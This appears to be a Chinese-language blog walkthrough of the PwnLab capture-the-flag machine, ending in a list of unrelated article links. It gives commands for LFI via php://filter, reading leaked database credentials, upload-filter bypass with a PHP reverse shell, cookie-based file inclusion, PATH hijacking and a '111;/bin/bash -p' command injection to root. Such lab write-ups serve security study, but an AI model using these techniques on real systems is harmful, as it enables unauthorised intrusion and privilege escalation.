当前位置: 首页 > news >正文

PwnLab详细解答

一、主机发现

arp-scan -l

靶机ip:192.168.55.153

二、端口识别、目录枚举、指纹识别

2.1端口识别

nmap -p- 192.168.55.153

2.2目录枚举

dirb http://192.168.55.153

枚举出来的敏感目录找到了文件上传网站和上传的地址

2.3指纹识别

nmap 192.168.55.153 -sV -sC -O --version-all

三、进入页面进行信息收集,反弹shell

进入靶机页面,发现需要登录才可以上传文件

接下来就要尝试怎么登录,这里尝试了sql注入,发现没有报错,bp抓包然后尝试了一下弱口令,也没有弱口令

注意到登录的url中含有page,有可能存在文件包含漏洞,可以进行尝试

尝试一下简单的目录穿越

没有出数据

这时注意到网页是php语言写的,可以尝试php的伪协议

尝试pp伪协议读取login页面的源码

http://192.168.55.153/?page=php://filter/read=convert.base64-encode/resource=login
随后将页面爆出的内容进行base64解码

查看源码发现包含了config.php文件,尝试读取config.php文件

http://192.168.55.153/?page=php://filter/read=convert.base64-encode/resource=config.php(失败)
http://192.168.55.153/?page=php://filter/read=convert.base64-encode/resource=config(成功)
此靶机读取文件时不能加文件的后缀

读取后的文件解码后发现是数据库的账号密码

<?php
$server   = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?

连接数据库,找到账号密码

mysql -h 192.168.55.153 -uroot  -p
密码:H4u%QJ_H99
show databases;
use Users;
show tables;
select * from users;

看着像base64,解密得

kent
JWzXuBJJNy
mike
SIfdsTEn6I
kane
iSv5Ym2GRo

发现使用kent登陆成功

接着上传文件,然后反弹shell试试

首先查看一下上传文件的源码

http://192.168.55.153/?page=php://filter/read=convert.base64-encode/resource=upload

发现使用白名单进行过滤了

找到kali的反弹shell文件(/usr/share/webshells/php)

反弹shell文件要更改攻击机ip和端口

重新创建一个1.php文件,在文件头添加GIF89a绕过对文件头的检验,将php-reverse-shell.php文件全部复制到1.php文件中,然后将后缀改为jpg绕过检验

在文件上传接口进行上传

第二步dirb扫描出来的地址发现上传成功

现在的问题就是怎么访问该文件

分析index.php文件,发现cookie中存在lang这个参数

代码分析:
include("lang/".$_COOKIE['lang']);:这行代码使用include语句来包含一个语言文件。它使用$_COOKIE['lang']的值构建文件路径,并将该文件包含到当前的代码文件中。

基于此,我们可以更改cookie中的lang参数进行反弹shell

先去查看文件上传的地址

http://192.168.55.153/upload/f3ccdd27d2000e3f9255a7e3e2c48800.jpg

然后使用hackbar进行修改cookie

lang=../upload/f3ccdd27d2000e3f9255a7e3e2c48800.jpg

四、提权

系统存在python,可以将shell升级为交互式shell

which python
python -c 'import pty; pty.spawn("/bin/bash")'

在此用户下没找到有用信息,尝试使用su命令进入kent、mike、kane,发现只有mike用户进不去

进入kane用户中,发现目录下有一个文件

执行一下该文件发现该文件中cat命令是用mike用户的shell执行的

查看一下该文件,发现存在一个命令

尝试执行,发现权限不够

刚刚的文件乱码了,可以使用strings命令查看二进制文件

strings msgmike

发现这里使用cat命令,我们可以使用环境变量劫持提权

补充知识:
这里使用cat命令,我们可以在此目录下再创建一个cat文件,文件中写入打开shell的命令并将该文件放到环境变量$PATH的首位,这样系统在执行cat /home/mike/msg.txt命令时会先在当前目录中寻找cat指令,找不到再去PATH中寻找cat指令,这样就达到了‘提权’的目的

开始前我们要提前看一下mike的shell是哪种类型的

cat /etc/passwd

提权命令如下:

echo "/bin/bash" >cat
chmod 777 cat
export PATH=/home/kane:$PATH
./msgmike

拿到mike用户的shell

因为该文件的所有用户以及所有组为mike,当我们运行该文件时,执行我们创建的cat文件里的bin/bash文件为mike权限,故我们的用户切换为了mike

当我们用cd切换到当前用户目录时,发现我们还是处在kane目录下,因为我们现在本质上还是kane用户,我们只不过是劫持了msgmike文件中的cat命令,又因为msgmike文件归属于mike,所以我们现在拥有了mike所拥有的权限

然后我们可以手动切换到/home/mike目录下,查看文件,发现有一个msg2root文件,使用strings命令进行查看

发现该文件是给root用户发消息的

执行该文件可以使用;进行分割命令

111;/bin/bash -p(-p为用最高权限开启)

成功提权!

相关文章:

  • 解决Deepseek“服务器繁忙,请稍后再试”问题,基于硅基流动和chatbox的解决方案
  • c#-LINQ与lambda表达式学习笔记
  • DeepSeek R1 + 飞书机器人实现AI智能助手
  • MinIO整合SpringBoot实现文件上传、下载
  • MySQL八股整理
  • Unity Dedicated Server 控制台 输出日志LOg 中文 乱码
  • docker的下载与使用(一)
  • 【Godot4.3】基于绘图函数的矢量蒙版效果与UV换算
  • 在Anaconda的虚拟环境中安装R,并在vscode中使用
  • 【Linux】CentOS7停服之后配置yum镜像源
  • ‌Selenium三大等待方式详解
  • 【数据分析】4 商业数据分析技能模型总结
  • 捌拾- 量子态层析 以及 布洛赫球 (1)
  • Nmap使用指南
  • etcd 3.15 三节点集群管理指南
  • Unity TMPro显示中文字体
  • SOC-ATF 安全启动BL31流程分析(3)
  • 计算机毕业设计SpringBoot+Vue.js新闻推荐系统(源码+文档+PPT+讲解)
  • 【网络通信】数据集合集!
  • 双线服务器和单线服务器的不同之处
  • wordpress弹出搜索结果/手机seo百度点击软件
  • 中国城乡和住房建设部网站/营销必备十大软件
  • 网站内容的编辑和更新怎么做/比百度好用的搜索软件手机版
  • 代做网站平台/上海最新新闻
  • 祝桥建设网站/百度投广告怎么收费
  • 购物网站建设价格/网站建设网站推广